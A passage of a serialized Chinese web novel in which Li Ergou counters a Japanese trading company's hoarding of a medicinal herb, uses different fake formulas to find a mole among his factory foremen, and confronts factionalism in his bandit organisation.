“静雯,人没有绝对的忠诚,忠诚是因为背叛的筹码太低,如果有人愿意出大价钱,一个让人无法拒绝的价钱,你能保证他们还会对工厂忠诚吗?” 静雯不说话了,人性确实经不住考验,她不敢保证! “那我现在把他们叫过来当面对质,我就不信查不出内鬼,要想人不知,除非己莫为。” 静雯刚要走,李二狗及时叫住了她。 “静雯,等一下,如果咱们现在把他们叫过来,在没有确凿的证据面前,他们是不会承认的。” “那怎么办?如果咱们身边真有这样一个吃里扒外的人,想想就觉得后脊背发凉,咱们吴氏制药厂绝不容许这样的人。” 李二狗也知道此事的严重程度,如果厂里有人投靠了井伊商社,就相当于他们在吴氏制药厂安插了一颗钉子。 “我看还是先不要打草惊蛇,你先派人暗中跟踪他们,看看能不能查出什么蛛丝马迹。” “好,那我现在就去安排。” “等一等,静雯,不要在制药厂找人,你回吴公馆,让管家找几个和制药厂无关的人。” 静雯由衷地赞道:“还是你想得周到。” 其实李二狗心里也没底,他知道,保管配方的四个人并不一定就是出卖配方之人。 制药厂有很多老职工,他们只要凑近闻一闻,就会知道药丸里添加了哪些药材。 即使不能完全判断出药丸使用了什么药材以及各种药材的添加比例,但要判断出几味药材实在是太容易了。 另外,购买原料的人、负责仓库保管的人……,有太多的人知道这个药丸里添加了什么原料。 要想找出泄密之人实在是太难了。 既然泄露之人不容易找到,那就直接去找囤积淫羊藿之人。 李二狗知道,十有八九是井伊商社的人干的。 第479章 玩一把大的 李二狗独自一人来到井伊商社。 酒井空见到李二狗前来并没有感到吃惊,仿佛事先已经料定李二狗一定会来。 “二狗先生,别来无恙呀。” 她一脸恭顺的笑容,一如两人初次相见时的模样。 人生若只如初见,何事秋风悲画扇? 李二狗知道,一切都回不去了。 她已不是那时的她,自己也已不是那时的自己! 酒井空上次和李二狗的生意谈判失败之后,她被日本总社严加斥责,要不是因为土肥圆贤三的命令,酒井空早已被召回日本等候发落。 她此时心中对李二狗的怨恨早已超过对他的喜爱。 她动用井伊商社在中国的所有力量暗中大肆收购淫羊藿,目的就是让吴氏制药厂生产不了药丸,迫使李二狗向她屈服。 李二狗看着酒井空的表情,更加确信囤积淫羊藿的事情一定是井伊商社在背后捣的鬼。 “酒井小姐,咱们不是外人,我也不怕你笑话,我真的很不好。” 酒井空故意露出一副惊讶的表情。 “奥,很不好?二狗先生生产的药丸在我们日本风靡一时,挣了那么多钱还说很不好?二狗先生也未免太贪心了吧?” 李二狗轻轻地叹了一口气。 “酒井小姐,扪心自问,我李二狗对你怎么样?” 酒井空早就料到李二狗是来兴师问罪的,她早已做好了心理准备。 她莞尔一笑,露出一副人畜无害的笑容。 “二狗先生对我当然是极好的。” “当初我们吴氏制药厂首先选择的是和你们井伊商社合作,只可惜时运不济,一夜七次丸没有在日本一炮打响,导致咱们之间的合作出现了嫌隙。” 酒井空自知此事是她对不起李二狗,但生意场如战场,一旦选择上了战场,各为其主,她也无能为力。 “二狗先生,以前的事情都过去了,咱们都别再提了,我们井伊商社还是非常愿意和你们吴氏制药厂继续合作。” 李二狗心知井伊商社这次暗地里囤积淫羊藿就是为了逼迫自己屈服,如果自己这次轻易屈服,以后肯定会被他们拿捏。 这样既得罪了松上商社,还要被井伊商社控制,这是李二狗绝对不愿意看到的。 “哎,实不相瞒,我们的药丸已经停止生产了!” 酒井空内心狂喜,她心里默念道:李二狗啊李二狗,终于到你求我的时候了。 但她脸上却表现的很吃惊。 “停止生产?为什么要停止生产啊?” “因为有一味药材我们在市面上买不到,它是最重要的原材料,没有它我们根本生产不了药丸。” “买不到?怎么会买不到呢?” 酒井空脸上的表情完全看不出是她背地里捣的鬼,这个女人经过一段时间在东北的特训,已经是一名合格的间谍。 “因为被别有用心的人提前用高价买光了。” 酒井空面上不显,心内却激动不已。 李二狗此时上门,肯定是对自己有所怀疑。 她根本就不怕李二狗知道此事是她做的,她做这件事的目的本来就是为了逼迫李二狗屈服。 “二狗先生,到底是什么原材料?你可以告诉我吗?” 李二狗面无表情地看向酒井空,酒井空和他对视了两眼,便躲开了他犀利的目光。 她赶紧解释道:“二狗先生,你千万不要误会,我是想只要你告诉我是什么,我来帮你想想办法,我就不信只要咱们手里有钱,还能买不到需要的药材。实在不行,我们就花高价去买。” 李二狗万万没想到,酒井空不仅想用这件事来逼迫自己和她合作,还想借机把淫羊藿高价卖给自己,真是一石二鸟、一箭双雕。 但李二狗又岂是轻易被人拿捏之人,更何况对方还是一个日本女人,曾经被自己压在身下的女人。 “算了,我已经决定不再生产这种药丸,反正已经挣了不少钱,还是见好就收吧。” 李二狗虽然说得言辞恳切,但酒井空也不是一个轻易就会相信别人的人。 药丸效益好、利润高,市场需求量又大,她相信李二狗绝对不会轻易放弃。 “二狗先生,你可要三思啊!你可能还不清楚药丸在我们日本的销售情况,现在只要药丸在药店一上市,立马就会被抢购一空!” 李二狗显得决绝而又淡定。 “不管销售情况怎么样,我都已经决定不再生产了,这次来主要是向你道歉,上次没能和你们合作,我深感遗憾,希望以后有机会我们还可以合作,再见。” 酒井空完全没有料到李二狗这次上门竟然不是来求自己,此时她才显得有点措手不及。 “二狗先生,我相信你一定不是一个轻易就会放弃的人!我认识的李二狗是一个明知山有虎,偏向虎山行的男人。” 她竟用上了激将法。 论用计谋,李二狗是日本人的祖宗,不敬祖宗还行?! “呵呵,不管我是一个什么样的男人,这次我都决定不再生产一夜八次丸了,就让它永远留在你们日本男人的回忆中吧。” 酒井空终于破防了,她不禁失声道:“二狗,这到底是为什么?这么好的药丸为什么不再生产了?你可不能就这样放弃啊!” 李二狗见酒井空如此失态,微微一笑道:“酒井小姐,其实原因很简单,因为我已经研制出了一种新的药丸,这种药丸的效果……,哈哈,我准备为它起名叫一夜不停歇!” 酒井空这时才意识到自己刚才有些失态,她赶紧强迫自己冷静下来。 李二狗刚才的一番话还不能令她完全相信,她准备通过内鬼打听清楚之后,再做进一步打算。 “那我就提前恭喜二狗先生了,希望一夜不停歇生产出来之后,咱们可以再次合作。” “当然可以,只要价钱公道,我们吴氏制药厂愿意和任何一家日本商社合作,告辞!” “二狗先生,您慢走!” 李二狗来井伊商社之前,本来计划和酒井空和谈,但当他看到酒井空的第一眼就改变了主意。 他决定陪她玩一把大的! 第480章 一定要保密 李二狗从井伊商社出来,直接回到吴氏制药厂。 一个周密而大胆的计划已经在他脑海中成型。 酒井空,你等着吧,老子会让你哭都找不到地方! “二狗,你可算回来了,怎么样?她承认了吗?” 李二狗刚进屋,静雯便一把拉住他,她急得嘴上都起了燎泡。 自从她接任吴氏企业总经理一职以来,还从来没有做过如此挣钱的生意,她不能眼睁睁地看着这么挣钱的药丸因为一味药材的短缺而停产。 “她虽然没有亲口承认,但我从她的表情和言辞来判断,肯定就是井伊商社在背后捣的鬼。” “她没承认吗?那你们是怎么谈的?她提出什么条件?咱们和她合作吗?” 静雯一连串的发问听得李二狗头懵懵的。 “我没和她谈什么,我只是告诉她,咱们吴氏制药厂已经决定停止生产这种药丸!” 静雯听后惊讶不已。 “什么?停止生产?咱们怎么能停止生产呢?二狗,可千万不能停产啊!不然咱们怎么给干爹交代啊?” 李二狗微笑着抚摸了一下她的脸颊,安慰道:“静雯,你先别着急嘛。” 静雯几乎要急得哭出来。 “二狗,我怎么能不急啊?干爹如此信任咱们,把吴氏这么大的一个企业交给咱们,咱们一定得做出点成绩才行啊。” 李二狗笑道:“我这还没说个四五六,你这都七八九了,你先别急嘛,听我把话说完。” 看到李二狗一副胸有成竹的笑容,静雯的心一下子安静了下来。 李二狗的这种笑容她太熟悉了,一旦他出现这个笑容,就意味着他已胜券在握。 “你是不是已经有主意了?二狗,你可真讨厌,害人家这么着急,你快点告诉人家嘛。” 李二狗轻轻地刮了刮她的鼻翼,笑道:“你也得给我说话的机会啊。” 静雯羞红了脸。 “好好好,我不说话,只听你说,快点告诉人家嘛。” 李二狗便把自己想到的应对之策全部告诉了静雯,静雯听后激动不已。 “二狗,你这个主意实在是太妙了,你是怎么想出来的?你真是个天才,我爱死你了。” 静雯言罢便抱着李二狗的大脸一顿乱啃,弄得李二狗脸上全是她的口水。 “看看你的样子,一点都不矜持,哪里像个总经理?”李二狗玩笑道。 静雯故意板着脸说道:“怎么?你不喜欢?那我以后不这样了!” 李二狗连忙哄道:“我错了,我错了,收回刚才的话,我就喜欢你不矜持的样子。” “你这个坏蛋。” 静雯幸福地依偎在李二狗怀里。 当天,李二狗便开车回了江东,吴氏制药厂也如期停了工。 静雯在办公室里分别召见了制药厂几个生产车间的主任。 第一个进来的是老袁,他是一个四十多岁的中年人,个子不高,脑袋很大,而脑袋上的头发却显得很稀疏,仔细数一数,其实只有三根。 他平时逢人不笑不说话,对任何人都是一副客客气气的样子,在厂里威信很高,工人们都很信服他。 “老袁,你到咱们厂得有二十年了吧?” 老袁露出平时标志性的笑容。 “静雯经理,今年八月刚好满二十一年。” “那你只是看着咱们厂一步步壮大起来的,吴爷在没去上海之前,经常向我夸奖你,说你不仅技术好,关键是人很忠诚,他老人家非常信任你。” “吴爷对我有知遇之恩,我就是粉身碎骨也难以报答他的恩情,我只能把自己的一生都奉献给咱们吴氏制药厂,也算报答吴爷他老人家对我的一番栽培。” 静雯此时笑得很灿烂。 “老袁,你可能还不知道,咱们制药厂厂长一职已经空缺了一年多,吴爷在临走之前特意向我和李先生交代过,以后找一个合适的机会,准备提拔你担任制药厂厂长一职。” 老袁激动的头上的三根毛发都跳动起来。 “感谢吴爷,感谢静雯经理,我一定不会辜负你们对我的信任,我愿意在咱们制药厂工作一辈子,我就是死也要死在咱们厂里。” 静雯掩嘴笑道:“老袁,瞧你说的,咱们的好日子还在后头,怎么能轻易提死字呢?” 一提到好日子,老袁突然想到如今制药厂已经停产,心中不禁有些伤感。 “哎,咱们工厂目前面临的困境我也听说了,静雯经理,咱们一定不能就这样停产了,必须得尽快想出一个解决的办法才是。” 静雯笑了笑,拉开抽屉,从里面拿出一个信封。 “老袁,你先看看这是什么?” 老袁面露疑色,赶紧上前接过信封,打开之后,从里面拿出一张纸。 上面写了几味中草药的名称,原来是一个配方。 “静雯经理,这是?” “这是李先生找高人刚刚研制出来的一个新的配方,药效比之前的药丸好数倍。” 静雯停顿了一下,然后看了老袁一眼,郑重地说道:“老袁,为了以防万一,我没有把这个配方告诉任何人,因为我只相信你。” 老袁感动的脸红脖子粗,急忙保证道:“静雯经理,你就放心吧,我一定不告诉任何人。” “我当然相信你,老袁!时间紧迫,你马上在你们车间配制出一百粒,我要拿到外地去做实验,等测试完药效之后便开始大量生产。老袁,你记住,一定要悄悄地进行,千万不能泄露配方,这是咱们厂的命根子。” 老袁立马保证道:“感谢静雯经理的信任,你放心,我一定在做好保密的同时尽快把药丸配制出来。” 静雯点了点头,又特意嘱咐道:“老袁,你要特别注意里面我圈住的那味药材,药效的成败完全取决于这味药材。” 老袁再次看了看配方,说道:“放心吧,我心里有数。静雯经理,那我先去忙了。” “去吧,老袁,这张配方关乎咱们厂的生死存亡,你可一定要保密工作!” “静雯经理放心,配方在我手里,可以确保万无一失!” “老袁,我看好你。” 老袁拿着配方满意而去,静雯看着他的背影也露出了满意的笑容。 第481章 静雯的许诺 半个小时之后,二车间主任老施按照约定的时间来到静雯办公室。 老施和老袁一样,也是一名个子不高、脑袋却很大的中年人,不过和老袁有所不同的是,他的=脑袋上的毛发生长的很旺盛。 毛发旺盛代表着生命力旺盛,所以老施是一个非常好色的男人。 “静雯经理,你找我什么事?” 老施每次见到静雯,都忍不住偷偷多瞅她两眼。 对于他来说,静雯这种层次的女人,属于可望而不可即的类型,他饱饱眼福意淫意淫就非常满意了。 四名车间主任当中,静雯最讨厌的就是老施。 每次被他色眯眯的双眼上下逡巡,静雯就感觉浑身不得劲,仿佛被他的眼睛蹂躏了一般。 但此人制药能力却是四个车间主任当中最好的,吴氏制药厂需要这样的人才。 其实好色并不是什么不可饶恕的缺点,男人几乎没有不好色的! 李二狗就非常好色! 但如果好色不分对象,那就十分惹人讨厌了! 俗语说龙生龙,凤生凤,老鼠的儿子会打洞! 如果自己是一只癞蛤蟆,却天天想着吃天鹅肉,得到的只能是鄙视! 静雯笑嘻嘻地迎着老施色眯眯的目光,吓得他赶紧低下了头。 尽管她内心非常鄙视老施这种有贼心没贼胆的男人,脸上却是笑靥如花。 “老施,请坐。” 静雯起身,热情地给他倒了一杯水,激动的老施赶紧站起来道谢。 “谢谢静雯经理,你对我们这些老员工太客气了。” 静雯抿嘴一笑,转身的时候,故意把挺翘的屁股扭得上下翻飞,害得老施狂咽口水。 “老施,你到咱们厂得有二十年了吧?” 老施的脑子里全是静雯扭动屁股的景象,根本没听见静雯的问话。 “老施,老施!” 静雯连叫他两声,他才回过神来。 他慌乱地问道:“静雯经理,你刚才说什么?” 静雯看他脸红脖子粗的样子就知道他刚才脑子里没想什么正经事。 她忍住恶心,再次问道:“老施,你到咱们厂得有二十年了吧” 老施用衣袖擦了擦额头的汗水,满脸堆笑道:“静雯经理,今年是我在吴氏制药厂的第二十二个年头。” “老施,那你是看着咱们药厂一步步发展壮大起来的,吴爷在没去上海之前,经常向我和李先生夸奖你,说你不仅制药技术好,关键是人非常忠诚,他老人家特别信任你。” “感谢吴爷夸奖,在吴爷没有收购这个制药厂之前,我就在这个厂里上班了。吴爷对我有知遇之恩,提拔我当车间主任,我就是粉身碎骨也难以报答他的恩情,我只能把自己的余生全部奉献给吴氏制药厂。” 静雯笑得很灿烂,老施和老袁的说辞竟然出奇的一致。 “老施,你也知道,咱们制药厂的厂长去世之后,吴爷一直没有安排新厂长,其实吴爷一直倾向于让你来担任制药厂厂长一职。” 老施激动的立马站了起来。 “感谢吴爷,感谢静雯经理,我一定不会辜负你们对我的信任,下辈子做牛做马也报答不了吴爷对我的这份恩情。” 静雯担心老袁和老施暗地里有勾连,便故意说道:“老施,你先别急着感谢,对于厂长一职,你并不是唯一人选。” 老施的失望之情,溢于言表。 他勉强挤出一个笑容,说道:“即使我当不上厂长,我也会继续以厂为家,为咱们厂奉献我全部的力量。” 老施的笑比哭还难看,不想当厂长的车间主任绝不是一个好员工。 “老施,你也别失望,放眼全厂,也就一车间的老袁和你资历、能力差不多,其实我个人是非常看好你的。” 老施露出一丝鄙视的表情。 “老袁这个人……呵呵。” 静雯故意问道:“老袁怎么了?” 厂长一职诱惑太大,对于老袁这个潜在的最大竞争对手,老施也顾不得同事之情了。 “静雯经理,你知道我这人平时最痛恨的就是背后打小报告,说人坏话,但老袁这事我即使背上小人的骂名,也要告诉你。” 静雯微笑着起身走到老施面前,伸手去拿茶几上的水壶,弯腰的瞬间,波澜壮阔的事业线引得老施狂咽口水。 她强忍心中恶心,给老施杯中蓄满了水。 “老施,喝茶。” “谢谢静雯经理,嘿嘿。” 静雯回到座位上,脸上的笑容依然是那么明艳动人。 “老施,你向我反映一些你知道的厂里情况,出发点肯定是为了咱们厂好,这怎么能叫背后打小报告呢?你这是对咱们厂、对吴爷忠诚。” 老施连连点头,兴奋地满面通红,急忙说道:“静雯经理说得对,其实我就是这样想的。” 静雯笑道:“老施,你放心,你在这间办公室里说的话,除了你我之外,绝不会有第三个人知道,李先生我都不告诉。” 老施彻底放下戒备,连忙说道:“我放心,我放心,还是静雯经理想得周到。” 老施下意识地看了看房门,房门紧闭着。 “静雯经理,老袁背地里经常抱怨吴爷和你,说自己劳苦功高,但你们给的工钱太少,他还说有好几家药厂要把他请过去。” 静雯听后笑而不语,用眼神鼓励老施继续说下去。 面对静雯会勾魂的眼神,老施内心就像猫抓一样,他必须在她面前好好表现一番。 “静雯经理,”虽然办公室只有他们两个人,他还是刻意压低声音,“老袁他经常从厂里往外顺东西,我发现不是一次两次了。” 老施彻底对静雯敞开心扉,恨不得把老袁偷拿工厂报纸上厕所擦屁股的事情都抖落出来。 他嘟嘟囔囔说了半天,除了一些无足轻重的小事之外,并没有什么让人无法忍受的事情。 静雯的目的就是挑起老施对老袁的不满,目的已经达到,她便拉开抽屉,拿出一个信封。 “老施,在咱们制药厂,我只信任你一个人,你先看看这个。” 第482章 陈老三告密 老施忙不迭地起身接过信封,从里面抽出一张纸,上面写了几味中药材。 “静雯经理,这是?” 静雯笑道:“这是李先生找高人刚刚研制出来的一个新配方,药效比之前的好数倍不止。你是我最信任的人,所以我只把配方告诉你。” 在静雯的意料之中,老施连忙表达自己的感恩戴德之情。 “老施,你千万不要告诉任何人,在你们车间尽快配制出一百粒药丸出来,我要拿到外地去做实验,等测试完药效之后便开始大量生产。你记住,一定要悄悄地进行,千万要保密。” 老施拍着胸脯保证道:“感谢静雯经理的信任,你放心,我一定在做好保密的同时尽快把药丸配制出来。” 静雯笑着点了点头,又特意嘱咐道:“老施,你要特别注意配方里我圈住的那味药材,药效的成败完全取决于这味药材。” 老施低头看了看手里的配方,说道:“你就放心吧,一定可以万无一失,静雯经理,如果没有其他事,那我就先去忙了。” “去吧,老施,这张配方关乎咱们厂的生死存亡,你一定要保密啊!” “我拿人头向你保证,配方肯定不会让别人知道!” “老施,我看好你。” 老施走了,静雯笑了。 虽然说的话一样,但这张配方上的药材和给老袁配方上的药材却完全不一样。 之后,静雯又依样画葫芦,对另外两个车间主任老潘、老屠说了同样的话,并给了他们完全不一样的配方。 李二狗回到江东之后,立刻来到清风寨。 广场上,队伍在整齐划一地训练着,不远处的后山上有不少人在垦荒,一切工作都按照李二狗的事先安排在有条不紊地进行着。 “狗哥,你回来了,我正好有工作向你汇报。” 望冬见到李二狗,一路小跑到他跟前,胸脯子一抖一抖的,显得很兴奋。 不知道从什么时候开始,望冬只要三天见不到李二狗,心里就会像猫抓一样,寝食难安。 “望冬,工作的事稍后再说,你现在马上安排人去把秀才叫来,我有重要的事情安排。” 望冬见李二狗神色严肃,不敢耽搁,赶紧安排人去霸虎寨叫秀才前来清风寨。 安排妥当之后,她转身看向原来的地方,李二狗已经不见了。 她远远地看到李二狗回了家,心中突然有一种深深的落寞感。 这种感觉不像是吃醋,也不是嫉妒,就是心中空荡荡的感觉,仿佛灵魂被抽走了一般。 她对陈老三从来没有过这种感觉。 她知道自己对李二狗的这种情感是不对的,但她就是控制不住自己的心。 “望冬,看什么呢?” 望冬一回头看到陈老三笑眯眯地出现在自己身后。 她像做错了什么事一般,脸颊瞬间红到了耳朵根。 “没……没看什么。” 陈老三作为一个粗糙的汉子,根本没有发现望冬的神情异常。 “我刚才听他们说狗哥回来了,我们去他家里看看他吧?好长时间没见他,我还真有点想他。” 望冬想见他又不想见他,尤其是不想看到他和李素文卿卿我我的样子。 “我手里还有一堆事要做,等忙完晚上再去吧。” 陈老三说道:“狗哥说不定一会就回胡家大院了,现在不去,又见不着他了。” 望冬犹豫了一下,还是忍住了。 “你去吧,我先去忙了。” 望冬转身走了,陈老三迈着欢快的步伐向李二狗家中走去。 “狗哥,狗哥,你在家吗?” 尽管大门敞开着,陈老三还是在大门口大喊了两声。 这是之前望冬特意向他交代的,不管李二狗在不在家,进入这个院子之前一定要敲门,得到允许之后才能进入。 “老三,门又没关,你在外边叫唤什么?” 李二狗正抱着李素文要亲热一番,就被陈老三的喊声打扰了。 不过对于陈老三这种做法,他还是很满意。 这里是整个清风集团的禁区,没有人可以随便进入。 “老三来了,你还不松开?” 李素文内心躁动不已,但也只好停下来。 “怕什么?没有我的命令他不敢进屋。” 说着李二狗又啃向李素文,李素文热烈地回应着。 陈老三站在院子里,听到屋里时不时传来的响动,只能不停地吞咽口水。 二十分钟之后,李二狗才穿戴整齐地从屋里走了出来。 “狗哥,嘿嘿。” 陈老三虽愚笨,但并不傻,他知道刚才屋里发生了什么。 “老三,你没有事做吗?大白天杵我院子里干什么?” 陈老三嘿嘿一笑,忙解释道:“我刚才看你回来了,特意赶过来向你汇报一下近期寨里的工作。” 李二狗知道李素文因为刚才的事情有些害羞,躲在屋里不肯出来。 “走,咱们去寨里看看,边走边说。” 陈老三屁颠屁颠地跟着李二狗走了出去。 路上,陈老三把近期山寨的训练和垦荒情况向李二狗做了绘声绘色的汇报。 自从李二狗提拔望冬之后,清风寨的工作相比之前有了长足的进步。 李二狗既为望冬感到高兴,也为自己慧眼识才感到自豪。 “老三,做得不错。” 得到李二狗的夸奖,陈老三显得很兴奋。 “狗哥,有件事我不知道该不该和你说?” 虽然李二狗刚刚夸奖了他,但陈老三面对他内心还是有些打鼓。 “有话就说,有屁就放,和我说话还吞吞吐吐干什么?” 陈老三被李二狗这一骂,心里更加兴奋了。 他喜欢李二狗骂他,几天听到他的骂声,陈老三就浑身不得劲。 “狗哥,我听说青山寨那边最近跑了不少新加入山寨的兄弟。” “怎么回事?” 听到这个消息,李二狗不禁吃了一惊,这个情况是他从没有预料到的。 所有的人选都是经过千挑万选之后才允许加入的,而且目前江东县除了清风集团之外,没有任何土匪山寨。 离开清风集团,他们能去哪里? 难道他们都要洗心革面,不再当土匪? 这件事实在是太过蹊跷! 第483章 无组织无纪律 陈老三见李二狗脸色铁青,立刻变得惴惴不安起来。 他小心地说道:“我听说嘎子他们在青山寨搞小山头,新加入的兄弟不让参加训练,天天让他们去垦荒,稍有懈怠非打即骂,而原来的那些兄弟则什么都不用干。” 李二狗没说话,等着陈老三继续说下去。 “因为这个,很多人都表达了不满,全部被嘎子他们以寨规进行了严厉惩处,有不少人受不了,晚上偷偷逃走了。” 李二狗脸色越来越难看。 他一直担心秀才恃才傲物,却没想到能力平平的陈嘎子、张石头竟如此大胆妄为。 搞山头主义,拉帮结派,在清风集团是绝对不允许的! “青山寨逃走的有多少人?” 陈老三低声说道:“我得到的消息是大约有五十多人。” 李二狗更加震惊不已。 当初每个山寨只分到一百人左右,没想到青山寨一下子就逃走了一半,这是一个极其严重的问题。 “陈嘎子、张石头是干什么吃的?简直是吃了熊心豹子胆!逃走的那些人,他们也没安排人去追回来吗?” 陈老三还从未见过李二狗如此气愤。 但他如此生气,更加说明自己这件事汇报的正确。 作为他最忠诚的兄弟,他有责任也有义务把山寨发生的一切异常情况全部告诉他。 “狗哥,还有件事,我说出来你可千万别生气啊。” “老三,你狗日的有什么话能不能直接说?绕他娘的什么弯子?咱们是兄弟!” 一句“咱们是兄弟”令陈老三感动不已。 虽然百米之内根本没人,但陈老三还是压低声音说道:“狗哥,我听说嘎子他们最近偷偷招了不少人,以此来顶替逃走那些人留下的空缺。” 好一招瞒天过海! “他们这是在作死!” 李二狗万万没想到陈嘎子、张石头竟然如此胆大妄为,瞒着集团私自招人。 什么人能进,什么人不能进,这都是有严格标准和要求的! 陈嘎子、张石头瞒着集团私自招人,这是将个人利益凌驾于集团之上。 这是典型的无组织无纪律的表现! 这是完全没有把清风集团董事长李二狗放在眼里! 如果任其发展下去,将来清风集团姓不姓李还很难说。 对于陈嘎子、张石头的这种行为,李二狗是绝对不会容忍的! “老三,今天你和我说的事和其他人说过没有?” 陈老三不好意思地摸了摸脑袋,憨笑道:“望冬知道。” 望冬知道,李二狗并不担心。 “只有望冬吗?你自己是怎么知道这件事的?” 经李二狗这一提醒,陈老三连忙说道:“对对对,还有一个人知道。” “你回去告诉他们,这件事不要再告诉任何人!” 陈老三先是点头,继而不解地问道:“狗哥,这事就这么过去了?他们这次犯的错误如此严重,望冬说……” 陈老三欲言又止。 “望冬说什么?” “望冬她说,如果是我犯这种错误,你都饶不了我!” 李二狗笑道:“你娶了个好老婆,老三,好好珍惜吧。” 陈老三摸着后脑勺又是嘿嘿傻笑。 他好像突然又想到了什么,一脸严肃地提醒道:“狗哥,他们这种欺上瞒下的行为一定不能纵容啊!” 李二狗冷哼一声,面无表情地说道:“现在还不是时候,你把此事先烂在肚子里,我自有安排。” 李二狗说完便向广场走去,陈老三赶紧追了上去。 广场上,一个人正在给一群人演练大刀刀法,一把玄铁打造的大刀在他手中舞得左右横飞,一看就是练家子。 “老三,那人是谁?”李二狗指了指舞大刀之人。 陈老三顺着李二狗的手指方向看去,笑道:“那人叫孙连胜,以前是藏龙山大当家,使得一手好刀。” “人怎么样?” “人?人倒是挺好的,就是长得磕碜了点。” 李二狗被陈老三逗乐了。 “你他娘的看男人也看长相吗?我问的是他人品、能力怎么样?” 陈老三又摸着自己的后脑勺一阵傻笑,他一个大老粗,平时根本不会关注这些。 “嘿嘿,那我就不知道了。” 李二狗并不气恼,因为陈老三就是这样的人,这也是他之所以提拔重用望冬的原因。 “你去把他叫过来。” 陈老三赶紧跑到队伍那边把孙连胜叫了过来。 孙连胜一路小跑而来,面不红气不喘,确实是个练家子。 他立定之后,向李二狗敬了一个标准的军礼,大声说道:“董事长好,清风农场一队队长孙连胜向您报到!” 李二狗上前用力捶了捶孙连胜的胸肌,他站立如松,果然是个练家子。 “孙队长,我看你刚才使用的刀法颇有二十九军大刀队的风范,你是从哪学的?” 孙连胜暗自吃了一惊,没想到在一个土匪山寨,竟然还有懂得二十九军大刀队刀法之人,怪不得人家能当董事长,确实不是一般人。 “报告董事长,我以前在二十九军大刀队当过兵。” 果然和李二狗预料的一样。 “奥,既然在二十九军大刀队当过兵,现在怎么离开部队了?” 孙连胜不由得叹息一声。 “哎,一言难尽,不说也罢,请董事长见谅!” 孙连胜表现得一直不卑不亢,说话条理清晰且谈吐不俗,这在土匪队伍中显得难能可贵。 “既然你现在不愿意说,那我也不强求,等你以后想说了再来找我,我随时恭候。” 孙连胜没想到江东土匪界的传奇人物,一直不以真面目示人的清风寨大当家竟是一个如此没有架子的人,这和他想象中的样子完全不一样。 “谢谢董事长理解,等有机会我一定向您好好汇报。” “好,那你先去忙吧!” “是!” 孙连胜再次立定向李二狗敬了一个标准军礼,然后转身快速跑回队伍。 “大家跟我操练起来!” 充满荷尔蒙的声音在广场上空回荡着! 孙连胜人确实长得丑了点,但他那强壮的胸肌、矫健的步伐还是充满了男人独有的阳刚之气。 第484章 李二狗敲山震虎 李二狗当初把新加入的三百多人平均分配到三个山寨进行训练,然后又把分配到每个山寨的人随机分成三个队伍。 李二狗没有指定队长,而是创新性地让他们所有人以毛遂自荐的方式报名参选各队队长,不管你以前是山寨的头目还是小卒子,只要你敢站出来接受挑战,集团就会给你施展才能的平台。 他这样做的目的就是为了以后方便为清风集团选拔人才。 在李二狗的计划里,三个月之后,三个山寨先进行内部比试,之后优胜的队伍再代表各自山寨参加三个山寨之间的比拼。 到底是骡子是马,只要拉出来遛一遛,自然就见分晓。 青山寨完全没有领会李二狗的意图,这也是他恼怒的重要原因。 陈嘎子、张石头的才能难堪大用,但他们作为集团初创时期的元老,对他们后续的安排和使用关乎着人心向背,李二狗不能不慎之又慎。 最重要的是,集团目前还没有选拔出合适的人才,还不是调整他们位置的时候。 秀才到来后,李二狗并没有立即去议事厅开会,而是叫上陈老三和望冬,四个人一起在清风寨大摇大摆地转了一大圈。 李二狗安排人把秀才着急忙慌地叫来,他本以为有什么重要的事情安排,没想到却是在清风寨里遛弯。 遛弯过程中,李二狗不时招手和兄弟们打着招呼,然后和望冬等人闲聊一些日常趣事,不时发出一连串爽朗的笑声,秀才终于还是忍不住问了出来。 “狗哥,你这么着急把我找来,是不是有什么重要的事情?” 李二狗笑道:“秀才,山寨这么美的风景,难道不值得我们好好欣赏欣赏吗?” 秀才了解李二狗的行事风格,他如此着急地把自己找来肯定是有重要的事情。 现在带着他们在清风寨遛弯肯定也有其特定目的。 李二狗不说,秀才也不好再问,只能惴惴不安地跟着他后面,时不时配合着他发出几声笑声。 “好了,我们现在去议事厅开会吧。” 李二狗说完,便大步流星地向议事厅走去。 秀才突然意识到不对,边走边问陈老三。 “三哥,咱们这次开会怎么没叫嘎子和石头他们?” 陈老三冷哼一声,回答道:“叫他们干什么?狗哥没让叫他们。” 秀才这才明白李二狗的意图。 明明可以直接去议事厅开会,可他却带着大家在清风寨转了一圈,目的就是让大家看见。 开寨务会,却没叫寨务会成员陈嘎子、张石头,这是一个非常明显的信号,相信很快就会传到他们两人耳中。 本来李二狗吩咐人把秀才叫来,是有单独的事情要安排他。 后来他之所以又把陈老三和望冬叫上,并带领他们在清风寨视察一圈,都是临时起意。 目的是为了敲山震虎,给陈嘎子和张石头提个醒。 他也希望他们二人能主动找到李二狗承认错误,毕竟大家兄弟一场,李二狗又是念旧之人,于公于私,他并不想把事情做得太绝! 能不能抓住这个机会,就看陈嘎子、张石头的悟性了。 议事厅内,大家分主次坐定。 秀才一直表现的惴惴不安,他不知道李二狗叫他来终究是为了何事。 “秀才,你们杆子帮在东北有没有分舵?” 李二狗突如其来的发问,令秀才有些不知所措。 “狗哥,我们杆子帮以前在东三省确实有一个分舵,但现在早已解散多年,想必应该是没有了,你问这个是?” “秀才,有一件非常重要的事情,我需要你去东北一趟,看看能不能找你们杆子帮的兄弟帮帮忙。” 重要的事情交给秀才办,秀才一直惴惴不安的心才安静下来。 “狗哥,什么事你就安排吧,我尽全力办好。” “目前在咱们省和周边多个省都买不到淫羊藿这味药材,我想现在东三省是日本人在实际占领,那里应该有,你去收购一些运回来。” 这只是李二狗的个人判断,井伊商社恶意收购囤积淫羊藿,目的是为了阻止吴氏制药厂生产一夜七次丸,他们应该不会去伪满洲国收购。 因为伪满洲国的货物根本出不了山海关,所以井伊商社认为吴氏制药厂不会去伪满洲国收购药材。 “放心吧,狗哥,保证完成任务。” 秀才显得信心十足,他从李二狗的话里,已大体猜测出淫羊藿的短缺是日本人在背后搞的鬼。现在去东三省收购,正好打他们一个措手不及。 “秀才,这件事没有你想象的那么简单,一方面这次需要的量非常大,而且必须秘密进行收购,以免引起日本人察觉从中捣鬼,另一方面,把这些药材运出来同样需要大费一番周折,必须想一个万全的办法。” 秀才沉默了,他没想到,事情竟如此复杂。 “所以,这次我决定和你一起去。” 秀才急忙劝道:“狗哥,你没必要亲自去吧?那里毕竟是日本人的地盘,太危险了!” 李二狗知道那里是日本人的地盘,但此事关系重大,他必须亲自去才能放心。 “秀才,我去危险,你去就不危险吗?难道因为有危险,我们就不去了吗?” 